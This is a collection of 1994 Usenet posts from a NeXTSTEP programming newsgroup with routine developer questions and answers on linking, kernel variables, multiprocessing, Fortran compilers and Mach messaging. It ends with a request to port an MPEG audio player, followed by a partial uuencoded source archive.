Newsgroups: comp.sys.next.programmer From: fuqua@niehs.nih.gov (Dean Fuqua) Subject: POSIXCRT0.o for Intel 3.1 Message-ID: <1994Apr9.191816.23606@alw.nih.gov> Sender: postman@alw.nih.gov (AMDS Postmaster) Organization: NIEHS Date: Sat, 9 Apr 1994 19:18:16 GMT Hello, I have an Intel machine running NS 3.1 and I found a program that I am trying to compile. It compiles fine until link stage where it wants a library called posixcrt0.o. Is this just not shipped with Intel 3.1? I found a copy on a 3.1 NextStation.... Is it shipped with 3.2? Is it possible to get this lib anywhere? Thanks, Dean Fuqua Biophysics Application Development fuqua@niehs.nih.gov
Newsgroups: comp.sys.next.programmer From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: Double-headed Cube (multiple motherboards) Message-ID: <1994Apr9.190347.9047@seer.demon.co.uk> Sender: news@seer.demon.co.uk Organization: P & L Systems References: <jscogginCnznMz.Hou@netcom.com> Date: Sat, 9 Apr 1994 19:03:47 GMT In article <jscogginCnznMz.Hou@netcom.com> jscoggin@netcom.com (Jerry Scoggins) writes: > eagle@catt.ncsu.edu (Daniel C. L'Hommedieu) sayz: > >I recall that, a few years back, people were multiprocessing on their > >Cubes, by having multiple motherboards in them, and applying a patch to > >the OS. What benefit did this give? For instance, could I have my Cube > >use two motherboards in it, and have the OS automagically split up my > >tasks between them? (I'm having a bit of trouble explaining exactly > >what I want here...do you get that idea?) > > > >Daniel > > Daniel, > > About all I can give you is a sanity check. > > Yep, I *heard* people did it. However, I never actually saw one, so I > suppose it could be an old wifes tale. Yep, it would split up the task > between the two. Mach is capable of multiply CPU's. Sorry, two motherboards in a cube just gives you two computers on a network, sharing a power supply (there's one right here). It means that you can share serving duties between them, relieving the CPU load on your main system. You have to modify the bus to make the boards each think that they are in slot 1 (I think). Mach 3.0 is capable of symmetric MP, but 2.0 (which NeXT Mach is based on) isn't. However, I have heard stories that the upgrades NeXT made to their kernel have made it fully capable of running symmetric. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 9 Stable Lane, Seer Green, Fax: (0494)680228 Bucks, HP9 2YT, UK
From: stuckey@mrcnext.cso.uiuc.edu (Anthony J. Stuckey) Newsgroups: comp.sys.next.programmer Subject: Reading Kernel Variable. Date: 9 Apr 1994 20:14:46 GMT Organization: University of Illinois at Urbana Message-ID: <2o72bm$q6f@vixen.cso.uiuc.edu> Summary: Is there any way to get process stats? Keywords: nlist _allproc processes I am looking for information on accessing NeXT's unix-side kernel variables. I am working on porting a program which does process statistics information similar to ps(1). The major problem I'm having is that nlist() doesn't seem to be useful. _total is a kernel variable defined in <sys/vmmeter.h>, which supposedly holds information like the total amount of real memory, active virtual memory, and various other things. However, the values returned through nlist() are always zero. For _total, I was able to get the information I wanted through a combination of gethostinfo() and vm_statistics(). Unfortunately, this doesn't help in reading the individual process memory usage. Theoretically, there is a kernel variable _allproc. From the hints in the header files, this is what I want. However, using nlist() on it always returns a non-null pointer, which I get memory errors dereferencing. (SegV, Bus Error, or Malformed address, depending on just exactly what I do with it.) Does anybody have comments or verification that I can do what I want? Anything I'm overlooking? I know it is possible to do this, because ps(1) does it, which just makes it infuriating that I can't figure out how. I was able to get nlist() to return useful information for the load average figures, _max_proc, and several other things that I wanted, so I'm not just totally clueless about how to use it. -- Anthony J. Stuckey stuckey@mrcnext.cso.uiuc.edu "And if you frisbee-throw a universe where does it go?" -- Steve Blunt. GCS/S -d+@ p c(++) l u+ e+(-) m+(*) s+++/-- !n h(*) f+ g+ w+ t+@ r y? KiboNumber == 1
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Changes in NS 3.3 for developers Date: 9 Apr 1994 20:12:26 +0100 Organization: me organised, that's a joke. Message-ID: <2o6umq$25l@steffi.demon.co.uk> References: <2o6t12$s0v@gate.fzi.de> hoffmann@fzi.de wrote in comp.sys.next.programmer >Just wanted to point out: > > >Check out > >NEXTSTEP Expo Brochure in ASCII (posted in c.s.n.a) > >There are significant changes in NS 3.3 for the developer: > >- integrated tool set >- Foundation Kit with String Classes (Unicode !) > and new Collection Classes >- shared libraries for everyone !!! (good news for the MiscKit) >- Enterprise Objects Framework > >If anyone knows any details about any of these items and is allowed >to talk about it, let's hear it... >-- > >uwe....................................hoffmann@fzi.de (nextmail ok) > > Would somebody please confirm that that last one and the new Foundation kit are going to be a part of the standard developer release and not an additional extra? And then we can speculate about the 3.3 upgrade pricing. -- "C++ is the best C++ there is." (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: gmd@hazel.north.de (Gerriet M. Denkmann) Subject: ProjetBuilder with Help in Bundles Message-ID: <Co020p.6qy@hazel.north.de> Sender: gerriet@hazel.north.de (Gerriet M. Denkmann) Organization: Great Mathematical Developments, Inc. Date: Sat, 9 Apr 1994 16:05:13 GMT The 3.2 AppKit Release Notes state: If additional help is located in a directory other than YourProject/English.lproj/Help, and that help is to be loaded with the NXHelpPanel method, "addSupplement:inPath:", the help directory must not be compressed (i.e. do not invoke the "compresshelp" utility on it). How can I make ProjectBuilder take notice of this rule?
Newsgroups: comp.sys.next.programmer,comp.sys.next.hardware From: abell@netcom.com (Steven T. Abell) Subject: Re: Double-headed Cube (multiple motherboards) Message-ID: <abellCo0Mvx.LC8@netcom.com> Organization: Netcom Online Communications Services (408-241-9760 login: guest) References: <2ncpna$3ap@taco.cc.ncsu.edu> <jscogginCnznMz.Hou@netcom.com> Date: Sat, 9 Apr 1994 23:35:57 GMT jscoggin@netcom.com (Jerry Scoggins) writes: >eagle@catt.ncsu.edu (Daniel C. L'Hommedieu) sayz: >>I recall that, a few years back, people were multiprocessing on their >>Cubes, by having multiple motherboards in them, and applying a patch to >>the OS. What benefit did this give? For instance, could I have my Cube >>use two motherboards in it, and have the OS automagically split up my >>tasks between them? (I'm having a bit of trouble explaining exactly >>what I want here...do you get that idea?) >Yep, I *heard* people did it. However, I never actually saw one, so I >suppose it could be an old wifes tale. Yep, it would split up the task >between the two. Mach is capable of multiply CPU's. Nope. The multiple-CPU stuff happens when the kernel is compiled. Running multiprocessors effectively requires a hardware design that's built for it, not just putting another CPU in the box. There are lots of people running multiple motherboards, however. It functions basically as another machine on a network; they get used as printservers and OD drivers, mainly. Send mail to sam@orb.com if you want to do this. Steve abell@netcom.com
From: camilleg@uxh.cso.uiuc.edu (Camille Groudeseune) Newsgroups: comp.sys.next.programmer Subject: PD fortran? Date: 10 Apr 1994 00:17:04 GMT Organization: University of Illinois at Urbana-Champaign Distribution: world Message-ID: <2o7gi0$d6e@vixen.cso.uiuc.edu> Keywords: fortran FORTRAN Hello all, Is there a public-domain FORTRAN compiler available for NeXTs? Failing that, a commercial one? Don't laugh, finding and using one is much easier than translating the large program to be run on it. Please reply in email as I don't usually read comp.sys.next. If any are found, I'll summarize to this newsgroup. Thank you, Camille Goudeseune cog@uiuc.edu
From: dekorte@scri.fsu.edu (Steve Dekorte) Newsgroups: comp.sys.next.programmer Subject: Re: PD fortran? Date: 10 Apr 1994 08:21:32 GMT Organization: Florida State University Distribution: world Message-ID: <2o8cuc$b0o@mailer.fsu.edu> References: <2o7gi0$d6e@vixen.cso.uiuc.edu> Camille Groudeseune writes > Hello all, > Is there a public-domain FORTRAN compiler available for NeXTs? Think GNU has a free FORTRAN compiler. > Failing that, a commercial one? Yes. I've used one before, I forget the name, company though. Steve Dekorte
From: daniel@zac.itesm.mx(Daniel Ramirez Valdez) Newsgroups: comp.sys.next.programmer Subject: Problem using MiG & IB Date: 10 Apr 1994 08:37:23 GMT Organization: ITESM, Campus Monterrey Message-ID: <2o8ds3$2oop@mtecv2.mty.itesm.mx> Hi there! I'm trying to make a little application that gets two numbers from a text field, and sends them to a server program using Mach messages and returns the sum of that numbers and show it into another text field. I use the example program that comes with the NeXT for showing the use of Mach messaging, the addserver program, under /NextLibrary/Documentation/NextDev/Examples/MiG I make the add program (the client) look like: #import <mach.h> #import <stdio.h> #import "Library/add_types.h" void suma(int n1, int n2) { int n3; kern_return_t ret; port_t server; server = add_look_up(); if (server == PORT_NULL) { fprintf(stderr, "Couldn't find the add server.\n"); exit(2); } ret = add2nums(server, n1, n2, &n3); if (ret != KERN_SUCCESS) printf("Call to add2nums failed.\n"); else printf("According to the server, %d + %d = %d.\n", n1, n2, n3); exit(0); } I added to my project under the Project Inspector .c files, but the documentation says that I need to link this file (add.c) to addUser.o and add_lookup.o, see the Makefile: CFLAGS=-g LIBRARY=../Library CLIENTOBJS=add.o ${LIBRARY}/addUser.o ${LIBRARY}/add_lookup.o ./addclient: ${CLIENTOBJS} cc ${CFLAGS} -o ../addclient ${CLIENTOBJS} clean: rm -f *.o rm -f ../addclient I called this function from my program like this: - reserva:sender { suma(20, 1); return self; } I'm a novice user, so I suppose that adding addUser.o and add_lookup.o to the Other libs directory in the Project Inspector I will get this work, but I get the following error from the compiler: /bin/ld: Can't locate file for: -laddUser.o So I put these file in the Other files directory, and I get: /bin/ld: Undefined symbols: _add_look_up _add2nums Any help would be very appreciated. By the way I'm using System Release 2.1. Please reply directly to my account!, Daniel Ramirez daniel@zac1.zac.itesm.mx NeXT Mail welcome.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: List and char *'s Date: 10 Apr 1994 11:28:08 +0100 Organization: me organised, that's a joke. Message-ID: <2o8kbo$79u@steffi.demon.co.uk> NeXT have now released code that uses char *'s in a List Object. What's the concensus about this? I know a lot of people feel strongly about doing that since I don't think size of struct Object * is always guarantteed to equal sizeof char * So why don't they specialize Storage and use an instance of that instead. I hope nobody actually does this in "real life" -- "C++ is the best C++ there is." (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: ob@obh.in-berlin.de (Oliver Brandmueller) Subject: Audio MPEG for NeXT - please! Message-ID: <UVONBONQ@obh.in-berlin.de> Organization: obh - private bbs in Berlin/Germany Date: Sun, 10 Apr 94 11:17:03 GMT Hello, as I'm not a real programmer, I'm not able to prt the folllowing piece of code to the NeXT. It compiles fine on Suns and it's able to output 16 Bit linear 2 channel raw soundfiles from Audio MPEG files (.mp2). It produces other rates if requested by the mp2-fileheader. I'd like to have that ported to NeXT, so that I can play Audio MPEG directly on my NeXT, as the normal procedure to convert the files on my Sun (only capable of playing 8-bit-8-kHz-mono-ulaw) and then on my NeXT using sox to 16/44.1/2channel to play them... If you don't have a sample Audio MPEG file, please drop me a mail, I'll send you one. Thanx, Olli --- cut here ------------------------------------------------------------- begin 660 maplay.tar.Z M'YV009PX>5+%R9`B38HXH0*@H<.'$"-*G$BQHL6+%4%HI`$#!@@`(&)TC$'C MHT:--6*8/'E2AHP8,U#6F/'2Q@T:-D_6N&$C!DB,0(,*'4JTJ-&C2),J7<JT MJ5.G5-"DF0,BC!LW;^JX&5.F31DW=$#<"4-USM>P=-Z`H(.F#`@S;]BP>7,G MC9LS(-R4N3/GC)RL<.;H4*`Q#!LZ+L:\:0,G\6(X<LK,F9/FC1L6(!0S=LPX M\N3*ES,_Y@Q9,F7++CR7"2-G#!H6A*L>=B'&+NLTDEVTJ7,XC5<R:<)@UMQX M=^_?P3$;1ES;S>W<<[*Z(3-']]0QL#62*>-B.6W;<G!7CZZ5N@(V9,.6`4Y' M!P@9+UZ^R%$R!@X=(G6\5*``21FY:C4!11%'O&75'+`ID$15;8"`1AAPP)'' M6FI9A9567*W5UEMIR#%'6)&QL9I9(+QA!@AM3&A&9&5@%IT9=(P560N6L9&' M`@(26%4=P*D%!WIYE"$'""*T`2&0(K@`0E1N_1A&D$..1=5V=OSW!ASKO?7& MD%-H!<(44`0AQ1`?AD$':`@J,$4:;*2AF!L@'"$'A%*-0542TZ5QAEI&NF:7 M9%5-!P(119!)AYEHBI4&6QJZ=80358`PQ`HKB,88FT+")D8=:&T(V1M^A='@ M'&ADQ089LD4GUI9KE`CG&VP)"8*3=,`E1QO5*6#$:G34X5EFOD8&EHT@^/9C M5V=E:=<8;/!8QF`MS`JD77B9"`*0LB;Q0A(+YEA@&#Q6!L*'D8E*E65?ACEF M2![U*95>5-7%5FRQ@D"&&.'96X8=;KIE%:KHX@G<GG/$AH(8L**A+[]<4?4O M"-Y6%5EF$(8AAH@EGO@I&76,0:VD1+001QV&+3HAN#V6R"D<G*:@0+2+CEM' MA%O2X;!<*+ZQ'54H4'87QJY9^)^+=`A9QAN8J?&&76%]:'2%@G)L6&8/7O6? MRX4)6AL=<Q;-<QEX<`5'6"N6X58;.KLU1K!GV>ARM-LI!MQ=&8_+]6JX4F@W M&5F%Q72%(,QYQZQC-&BKD61O^9:OL0YYN)FQO5FEAXFF!4)W=6#FPEAV@%`& M'6.XP!^3XV;56AER^RMH&..6*D=8$:,L+KEX:SFDUV?2_2!58I@-)QQO.(UJ M6@IXU]QSU1EW)G*LHPN??/2)KD`1;B@]8>SA(JV`&$%FQQ(5;]1&%DL@'!S& MW&<`8:<+O;;0NQQMNN'"=BX_9?_]^.>O__[\]^^__T-X`A2RD`0G'.%_"`3* M23CB$9"(!`8D60E*5`(2\M%@!C#@B4QH$@.;T.`&'D&)2VKPDP2:\(0H3*$* M5[C"!"2`)8^*U!$44@0I!($)((!"%83`A"0,`00]/(@3IE`$!;B0?!JQ@I!. M`R<98$8)6G%+#'*0@QCP1U)7RD-XSH"&L*!@""D(20YPD`/,3+&*(#`"B[YD MHABQQBU&D`X9$&49S.`I=+%!HA[W>!*;U`!B9*%*$*J$F2&("E]I(,,96@2Q M((``!B^901E!4(4I!($P19A<'BSCEJG,2DAM6%31AJ<6Q4@H4*@"#KG2L*FB M@6!R8D!4@TPI'L)8BRV>;!-7W$`BOJW-*V#!3"NI9I4S?"QFGL1*6`PSESNL M1WHN?.%)H%"N-ERL#%=<TH9T^16S4,56.?M0Z6`D(W]-;&=ZT@LIUQ*&-?AK M+!/:I*\44+;U+$9OI'HC*HEYETXB1B-"F-";N)8>S-0KAG'ZBI"F!H4Z7,Q- M"F!"OWC92:HP[2O;6><92#8GL)@-!/)T'(OXUB#+Y7-B#PM:/]_"(@6\R(TS M:H'EC.1.F4VL7B\M9[&^N49P,K-8-@-!'<SB(25I<RH*.()"Y\2&'#I4ET"< M*(D@]"/QZ`UMXKSEAM3XT2FTL9RZDB,=W7""LGQ5GP^SG%4FE#!9?2I4#;I# MJ:;**==113.A1,L;%##48_ZS?%[U2HD:E\8U>I6<^HQC><8Z3IA65#23RQ+W M%'!02$457ZR9D%+UPE2G/G0,4=TEB>SBM/.Y((P@R$)6*`8GJA(K9L0+Z:S^ M`E<$4>@-TM/(%=H")V>."TOMK%L]&UM.S/A6GY$Q@Y#"0S?+U9.DF%&F`B#3 M+Z,^P5<)Y2Q#G^JFT'834/I$YQG4>=5VNF4.OG(+6\P$TJPHX$%5:A1+S492 MO:F2:ZSDE-JN9%5K#3>G^D1!2A\DAT7:CK)2*8N0&-;)$\E34:1*@4$?%)8' M1X8K:8@O>4XGFNV4:$ACL`H(%NDW.B@@#0Y>[5C``M0)L_?!(8:32@V,T[-. M3'%#;1)N&E:W19T83GH9W'#?.B=<[6"?ZZWP:M>`E<'!6,1\:Q2)<'F77,4& M?+.%%>J4C-TM=M&VOM5+EF9JWL!)!K]C.)-EJ))DV]6&#,5SPR;U8M^OQ'.U ML2*1EX.J.+7.H54/-BG;IB.K>NTY5TS2\YG#D^;*=70.Z'&EY;CRNC#8Q<QS M`!XO6<FF15D5G`]&<7OKH(#[AJ>5^X5#?T]48\1&!C.*$_6#T08<,TQH4;E- MH^+`)JIC84;6JS5U?EU)2T!9"[VNJ4J6X6K<MC1.`:$ZT[D<ISC6*9>1LQYJ M6(P97T.C+@VJ/LO-FFIH/7U90Y![,'RYHQ'5U@%%VD91F=%[4PHW*@\&?0/2 MS(SA^"HNQB/^7*-<:KH,I<ZH01!4ML5)*KHTJJ1MF3(HS7IO$##9X;'JD`(. MG>LK-.DO14OSJ(=T:$4Q*D9J<5I@W(."&(31E%HT=Z?.:V-&_DL!*)!!&$VD MW"$%.L'7DJI;Y.HFA7$;4`\6T1FFAJ5;386)>H,Y;(2-:E2^0'&T1O&$6NW8 M7`>!#='!##A7DVQPL65+9<URR-7<6D&9#LQ#MXI>Y5U32A_*+@AF[[Z$-&>W ME&>)AYH.F^W=N,=B12RLZ2@=5-1GH->3X*YF-PB2P.H-`7ABGLRZ&7"#*NZ5 MSBN<]!S858<J.`0R2W44"S977&*J7!C<N`$+F]5R\<&U6:[LC=6$UKW3O,!* MOEO2DVW8X**]MGFM6;YFWICV%XYQI?-L;5R\V-1499K9#"(2.;KJ%7QC.H<- MQ:OKEN9P`C.S[%!LM[)&C#!\&RE'SO/].*B*W'NVE*MHY'U3F88U(<]?'INF MAW\V8U0>!V$*HU9VL#3#LR%SU$^W8V^1076<,GYU8VTM162BHB@X8Q?`P2]2 M(Q=L)09W]SMF<A9!)UJ2\6MP4@9FH%PB1U,?$RO315OT]RG4]3F995185AI5 MPF*X!'<.$@;Q920>%C/,LAH/R%YK-5TER&*[(4Z]<X+?A2ICITF<E';#E6,? MYGMAP4T4A2I**!>Y1CJEX3$2=RL.(RAOPAZ)`DXP1RV8(8%LATH*H'ENPEAP M`2!W(#H,8$32I!$(-4-.4$,WE$,[%$1`Y$,*041Y1`4UU`13``(!0022\@1. M0`1)0`5)8(F1:`1/(`65.$`%=`28@8E30`52D`1"4`6::(F2>(D0\P28:`0^ M%`2MZ`39!`-*$A6>)%$H6!41TB:`HE;PAX$-HCAM%26L(A9UHC`#96F\5#Q< MV"_2$@;/!P*>5R\PMV<.$A?;,21S\"1^)6_]YQ9RN!Y\16@/J%X35S<_F%T+ MU50-]5G>15$ZN"$B0$WS)RHB($Q6<@>PD5Q+I#?(AVP*8XQ;>`>L\GY@2"0* M*0>M$DMF`3!P4B_Z"%<B4(>KP4N>LRAML8XY1(,96&WP]XT9ABCQ]9"M\G<@ MED7<B!YW,!AMYDDF]23*L2H0*1I@`8TQN"$727_5-BLU`QH]1@>P408>*2NP M)$L)Z9$Y4VMWF'Y6UV>/%FG*`A90DXSG44PDLTA&A0+^$1FV`2.9LA95R5B> MM"S-DE$F5RJ<$G1YA99N@&#L>"M$8H<AQG9)@EI%8(T*XX5F\5CG0P:>,9%5 M014B($])PA]!T&C\<B;&1ECK)6-9!(?V,A7XU4I$^3!XR5CZ)%V*$5G0IR&] M*'1'IGL2XQ9]0QE%&%1S8$J21SK6&!8FLG%:X08]Z18_F8')]'N>@6:CQ)#` MMS)ON2+W9)$BV08G=E=O()JN\EHGLBC,Z5&RIY,?LBCZI6PJB8UD@7H5V18* ML)L-@@(<6`980F@L9BWP]3&]\Q7RYF&>)P>WF9LAN8]MD`*BLUN?\Y'HYC=L M)I_F:)X8=2Z]17@^F9SV\@:YD4TQH"3N1HZB<4H/<XZO)"2QM#P1NFKR)9YE M17"^8G!I<YBCQF](&5^+HH*!,B'(40=M@!F?XH%C9F_RI`#ZIVIKDQ60=C*K M$R%_05TE2"PL\U"DXBJ>XY<1JJ/`:(/A48(TZI(R-XT9,J'7@1Z^(2O6(B.* MEP='YD[F62P[*7(_)8/*U"^#QUX">3MJ\8Z^^%U(EJ8;8C%FL16J>2+(AZ5R MIZ5QABI'EZ*#Q9^O%V[5J56ZB:"L`W/N"'1K2E'%,Q=T(R\'>*#V*3T/:B0" M16`&9FT?!4[U`@=HD`>4$6)--9ON^&@]QUQX4:A9Q)`*,&M/4A5<-B17,H<\ M)RMV"A83\BEK1Y27!C8SYA8^]19FDVLRX*"K1:E/J74C=Z1;6&SG4GF#:I]; MB'S`\SJ@H0#6<J(:,E2V$TITPSK;*9'>N:')*9R&>G,4:I#'NGEYF2B*LYTL M*5]%@X9U,P5;1I169#'-R4@OFD@Q^F*K91BJXA4"]U."2B)KZ&EK-AAY5!5A M-*GQ%F):6"]VF"6;)R*S1S%R(`>W^A?<:H)CVC`+6R:Y@Q=M!F-5LT@+Z*N8 MDH8I:R\E6('PUZNYIA%BT+#%^K#@,E7PMYTE&VR8>6K9J3A!VB:DXF)^,Y<L M(5=QH9I#<FFF]SHZ.8+3UGLF6254R+'B"JTD>2,L\;0S%QDFDF_8Z!:`F27C MXZVE@C'L=7A!4V#J52$X@TMR`&==RQJ0217O6B_QFC=:59HH.+.9$4:4)U\3 M6WH(BA6WPDP34B[482E&(GA>&J^SF6'_P;4G(5?N*9^AL7!A`;&C993,Z)YE M\CI9HKFX23?@9)`+>U%SXIA^-UK?>3;!0YMS"QX3`D]B2UWI.22JY"0ZNK`6 M(AU<`4Q'RRSATJVMQ:-7LJ3$YJ1<%!8?2WI5L;#1VY^-@GE4<7BUNGCELVNC MYR+BV%PRNEK[NAW`BW@9>Z=AE%;VEF,>`J$1^+/#IEZ>@J`LN;!YME]YDG[" M631R09_NVXVVIQ;\LA?*9JA]6S`LD:AF\95%$#;FR7;N(6K(":W2^1_1:5$> MU;IG$E^MM+!\`RC6A[A&`H*SQ30R4W9M=R%R2KR8(5O?VIT4B;^0"E>]9WV1 M,3(=,F8^PES+M,+"BRQ@<5H*T(>)YA8Y7`<[3+P.$XQ;YZ:R"Y59LIUGRXQ+ M:U24=V+;`18H%AS7-"[UNF:'REY4/#'65[44B[45S&QYREIC:V9D81D60RSZ MQZ\1Z*7;<9Y;_,.H8A9/^[(JJ<%TB2O_426V%2O?Z;??)9S2N183%X=J87VN M]<0:$CS89!:-)L:8"R</1J&QTB#CX\>L`<BL4AT`]9:;/&JE)K]5AU.B<EYA MS)'CX[45:,480W3)YDG>NHS@"F?;5\-%-F'FR,J<0I2":LMG$V]1^,MUR;=F M@&"*3%'-9LF?Y'2?(<;@E(Q22%&``C;XMTXR>!8[C,S]BP;::CEDIS`/LW<: M.RMV:V9+-[<6VZQ6+!8@YT_2$Q5#]6O^R87R=5'I67F>A,ES.&E4VB`E]V^6 M@3NK:CJ!(W,7NYUW$!YT@'^>P\4ATG]W5@='UC4?*<R1:X(TN5=@(R1F2+]( M_*23MM!_06X,2,RR>B)5BY),VZ1R4:\I6<K<:9C,7)]P)3UX4A5DP(:IYQ4H M=09^409+%].!HLW;:7V]3*1K7&0*X*A9:\,HT*Y.N<LY&=4]+9X[UUJO%!<L M.J?2^"%;$@8&ICAR2)0KVB`AG+V_ATCBJYJ$Y:[J2)?C`IN'<-G$TS0*SO M9JSE&C4PC=(^37]9/21<'9$R3*0GFH[?^"6Q_!YA=&GAHP9;UF%,ZSEX@#J< M,L>^NB4-DK<;LK?-JB:Q3!4J\3`R4!4($U_EVZ]<EBIJ$66A=\QYV$S4HK`L M$09AU)C$@7PQ8]7:^!@BTKP9*QF:AC[RYB=ZT0*,*]HA6W#[M1W-5G3P!H7# MO$JHABJFW<ST3*^9'(TLT=J"\MKXZF]B_=;`@M9&$A[$DF-4J#C_%]*M<;)E M<&1;DB`L4;.2.`;##7_%O=7V+$KN.:MR@!EV4#+US=A=."*=TE(L$22L<<AJ ML:?()[>E9[?X9CL';*EN<7AH4V\B%E(+JQA9I3&=^JF*6\V'\S$;EB%MG7JH MRAC)C4TLX2Y_(MVK,4=?C,#.*AK+G6F6X=PS?MV,9#F]`\*'#=[J"*_M:"WD M+97HC2KJ'=NJV=[KD08LFN+:MABW,=^&F;HUA]^]RM\+GDT:,0;!+>"/0=QA M8=P;8A>/,X<6ACHE:K87RWTM*"3X>]N'3>2>T=PR;MV<_96\>#/QZAP=7%'` MJX?>22S@A!5;L1A&[3%34^-M1Y'0J<HL<6%[WK((B=EBH-DBESI;6-)K<RA? M?#AMF<)H`+RO\N<+[J55`>=S&^M=(@8$391B`-OY2L0*0#I)SMD@WM@HLI&# M]W$LN%P42]J'.G3+:"MUV$X?TYE2:3FXMGXDZ=F@[>JWO)"6<BRNE.1-ZF%> M<2"RX=(T]Z%*GNPX0VN\`2A&N-#0:%L_HJU+&$AOH.FCA-]F8(T!NGFX.8<5 MFX+2<LZ6-P;A,39X:YC$,U`M7>YLXIF"0EJ'(A>,=<RL'MK79%1(0!?LK!P. MXU)8HNE-Q:L1#!H@?>RJ?HZH(F8S_WMJZ2QQE@=41K+VUIN):\(R7SZ[FI3@ MB.B*<SP:2T^D'49T?C9AH#0MR1B<5)TH0!R8<NON)`=Z07S[I"J6L7/.:JU- MARAT,P>>6C3'6*#:72\?+^Y(K!6VI17S;+W$,?4F=L%L0*=PSAA6855L_]FM M+MI`+=,P;<PGTO:BO869O=FJGGGGXQ:>I^#44CP";AI1ET4L=4^L(UZ.GB5. MPA7"7.L]]S%EH,,-+B)@0?D-<[&&6F/PCNS&"7'G]<K5"*):$51DL<K>7<SH M<LPPGS:8L7??F15<1)J[[K56]9FPTJ2,\1\BLDZM;WF(;AB6@1=-7R*GSOAI MPX>Q00."#:'6)W7I^N'H]5F+O(6>#,RBH@`L/S8B"C:E,1E`^A<P"N63K:9" MAW#P9R9H/S;6VCAU8<J4DE0U_EP$=_E%;&W0337>5#`24"(13G4!9Y@=,7<F M0!6QV%NVP97(EI)CVOP:=^@/)&]RN"B[95645A"*+Z*.<J$*9@5K2`Y$$SM8 MZ\'<+_SWBR)@]?D]O"?C#(FRQ69`20;,$JJ"49VJLM`Q9AWR`Q21P4A<FDMC M!GA#4R$.;<(J<(5<4P.^G_(#$:5/B=TQM5+YW!\-/'\^(T.H&R$TXI8?91@O MRN*OC#QG(@*YT+O`"_^!1(2*ZO1@FDXHN685B4_H#&2U)71?9LI."_`8-:V@ M,M,>'4Y:`Z9,FT@&?U'>'$9DF$%O0"IL#<DR(6!2L4@Q[R;*2+(NV"D\X#TR M&K:"D4P6S9,'/D8"W'TCZZHIMJUU"'=:N))!8.V%K18.%)7<@FRQ1F(C\&2( M!%:/!&""*AVJZJ<T,M2V3PZ65')#E>DNQ*'"1S>PSAZT-9,O$"8DG>;5X`2N MR28V0$GTI62S/&SA:HE?J!"QB:?NQ=AV%B][;,PL/"4G"2-?_E3L6283"''< M(1.6`@V9LBE;F4_V6:LM,GRV671`4T=J&8;#+40*56$&*G^H3J_0I3.4-U+* MD4-8O,2H3*I697V,!35#/DWP=7RDC;-HW(14ZFGN4-R4GY+6&J;"G&J'$&W$ M*)XL\9&0DOQ0``_J"F(:34,97MVN<0.VPF/0#2@8'.04-MHZ4N'XD<!A9'P0 M5?[+)C=`25`>DW?`UDP6_`J[D$Z)!L8!`M0`CS@#Q"M:W;2E9OC<F0#Z,2N" M6@@QVI7LX(\V*Q?1`4Z@`.O3)O(*#_.*(FTRU`')(&&:U/Y*%/K$(O(T3K9: M4`#F(BR>1S%0Q2WQC91#4AN+'^;_?:0`6`;"2)NA>.?#(\H78\BN!!I58&!+ MKBU,"$VX_'B5%GHPL6\R/L2/:!E[H>097$_F*BR_<U4A+E8XDC:V9ESX!MX0 M>([&4"$6LB5\M`FN*,8Z8,'`C/L$^6BSII,[3)!NU!-CY9#Q%A&%JBC*R("* MWI#4&*LSI@#5'RA;)F+(VPT)7H/C&(FH81T!Z"R<!Z&S*GA#S0L+=C!F_(4\ ML!SR0`L8+N#P#S(U:3A9PM1<&3JE@D11K@P%*(##A:$#Q"+6Y(G_>`'1P%^H M`\5/GH0^O58C;E>K@C&FHH\ABCD0&Q$&HX@9[,L#EL=3\<:(1W*9$[L*HU6N M?'B94&%7#(2#CT]-J_D(='X=NO`D;8%#VH73ETBV4!3!B5N"*R2^^R6M2.#: M0`\@ID/\DOT#^N1++$$//M'W5;:T1)W8$O&89$C&\E2V*J:T,`:3_&9O$4IB MMF?C,5H#BR*2"TI!]#/KLZE\!?`@$;S01>9!/-8QHJ/>L'.F2G7<B/`8J&`5 M8;%!0H)[<2-F86GX%D`<*&?FE3@XDP&S;@2ZXI.^80Z<IA99V7:'?(D.&(-E MR($S>1)Q5;VJ:S^F:/@%0JG;ULA]XW3CXNQUA>R6RPJ&L1`1Q(L2SHH#Z`\_ MSN1J&$:E"4BKHW$L3J#3,U^+A+/@J*@%M+8=%%,4'J:CK+43\2F?'((YD,6O MS9@]I]$@+DV(Z(F[D#)M&J?!8EQ+5#J1%,:EB,HV<&20"=Z"`WJC7I@=U_$" M^`;BJC,>HPB=B`UAW^K<]/E?=X&R"+J!>-_L#_%39V:1L"Q+M!<<6Z7:"%YW M3^I-&7OC&I;&%!P=C+*\]1Z`YB3Y1)DY.\@2#=`Q$<$:F!%[\22]0QA9+0JQ M/?R%=7J*27+(_::^=AF/8A_2"#A`*0XY4/DOKLZ0T$+';!QZDM_$:`(>WK$[ MT&@J@H7PT,V(WD^$BW7R9VXCF7.5XM7`:QC";!\*G^]SI+A1VIIL)O#S#2/K M*%2BW!=45,9J,`4*SU95/,:V.1JA@E/-PQ(I'XE26UP4C(57K:5H>!]U)GY1 M>*JBS8!*3Y(>*]JDNS6O@K&AC7@I&'>F52&3YHPJJ$UG00:P&)PXE-UIPFC( M9;$EIE4)*ACUXFRBG\UD44[$1$-PUC!V82.=P59*(V;,-3E@%VT5PW+F%,MT M8"S&:FA-!841&?B%86J9BB/(5"C*L6:LU9#;+/'(LT`5X!@:NV&XK%)&I4LD M&]DY.9C(NP0_48@RA!(@B>LR38>`+;\R_IF@XNGRL-%;,E:UIN?@NNUP=\C- M7AE,A2DO&+!/H7RFUIN@-!&1/VQ#A4$]7R15.#IB[;Y0"R5&*CY&^P0R+.I] M8+$A)YY0WK?9/.!E=D(=-Y`_K93G)(^X3)T%([^G%C"DH!`!2\@J#8G[V8]& M5`YDEV.C*^XVND"?B*%#O(NU$RD1%JW"7NZGXJ-3\$>""E"BI#I)A:JL%UP% MFQP6QZ)K%@O;V9\&$:XI*+G6-%(>LF(=)I2`6A,#"LU*)@J2A8.M517,BPA_ M3"@[6Y5"JBV,)AA*.B-/6+&AH"'7B`25.:("X`%JH)=N4J8U5^*UZ)DT_!M] 